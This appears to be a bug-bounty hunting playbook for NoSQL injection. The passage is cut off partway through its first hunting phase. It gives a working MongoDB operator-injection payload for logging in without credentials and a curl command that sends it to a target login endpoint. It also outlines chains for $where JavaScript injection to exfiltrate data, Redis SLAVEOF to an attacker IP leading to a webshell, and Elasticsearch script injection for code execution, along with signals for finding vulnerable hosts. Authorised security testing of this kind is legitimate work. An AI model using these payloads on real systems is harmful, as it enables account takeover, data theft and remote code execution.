hunt-nosqli

# HUNT-NOSQLI — NoSQL Injection ## Crown Jewel Targets NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High). **Highest-value chains:** - **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin) - **$where JS injection** — if $where is enabled: blind injection → data exfil - **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell - **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE --- ## Attack Surface Signals ### URL & Param Patterns ``` /api/users/login POST with JSON body /api/search?q= /api/find?filter= /api/query?where= Any endpoint accepting JSON body with username/password ``` ### Stack Signals | Signal | Vector | |--------|--------| | MongoDB error messages in response | Operator injection | | mongoose / monk in JS bundles | ODM patterns | | X-Powered-By: Express | Node.js + MongoDB common stack | | CouchDB/_utils UI exposed | Futon/Fauxton admin | | Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF | | Elasticsearch :9200 open | Script injection | --- ## Step-by-Step Hunting Methodology ### Phase 1 — Auth Bypass (MongoDB) ```bash # Operator injection in JSON body curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' # Regex wildcard — m...